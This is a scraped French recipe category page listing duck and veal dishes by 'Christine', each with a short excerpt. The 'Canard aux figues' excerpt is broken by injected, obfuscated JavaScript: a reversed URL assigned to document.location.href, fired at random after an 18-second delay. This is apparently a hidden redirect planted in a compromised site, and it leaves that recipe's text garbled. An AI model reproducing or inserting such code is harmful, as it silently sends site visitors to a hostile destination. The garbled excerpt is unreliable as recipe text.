Catégorie : Viandes
Magret de canard avec de la pastèque
Coupez la pastèque en petits dés. Détaillez le magret de canard fumé en fines lamelles. ...
Christine. Lire la suiteCanard aux figues
Préparez la marinade en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients dans ...
Christine. Lire la suiteCuisses de canette avec des coings
Faites dorer les cuisses de canette dans une cocotte avec 2 cuillères à soupe d’huile ...
Christine. Lire la suiteCanard rôti avec des quetsches et du chou rouge
Pelez, émincez les oignons. Pelez, coupez l’ail en deux, ôtez le germe. Salez, poivrez le ...
Christine. Lire la suiteFilet de canard à l’orange
Prélevez le zeste de deux oranges et pressez les 4 oranges. Versez le jus d’orange ...
Christine. Lire la suiteCarpaccio de canard
Avec un couteau économe faites des copeaux de parmesan. Dans une poêle sans matière grasse ...
Christine. Lire la suiteCanard aux navets
Salez, poivrez l’intérieur et l’extérieur du canard. Enrobez de graisse de porc ou 1 cuillère ...
Christine. Lire la suiteMille-feuille au magret de canard et crème d’amande
Préparez la crème en faisant fondre le beurre, dans une petite casserole jusqu’à ce qu’elle ...
Christine. Lire la suiteTarte aux blettes
Pelez, émincez les oignons. Rincez, pelez et Coupez-les blettes en petits tronçons. Dans une poêle ...
Christine.. Lire la suiteRôti de veau aux raisins
Salez, poivrez le rôti. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur ...
Christine.. Lire la suite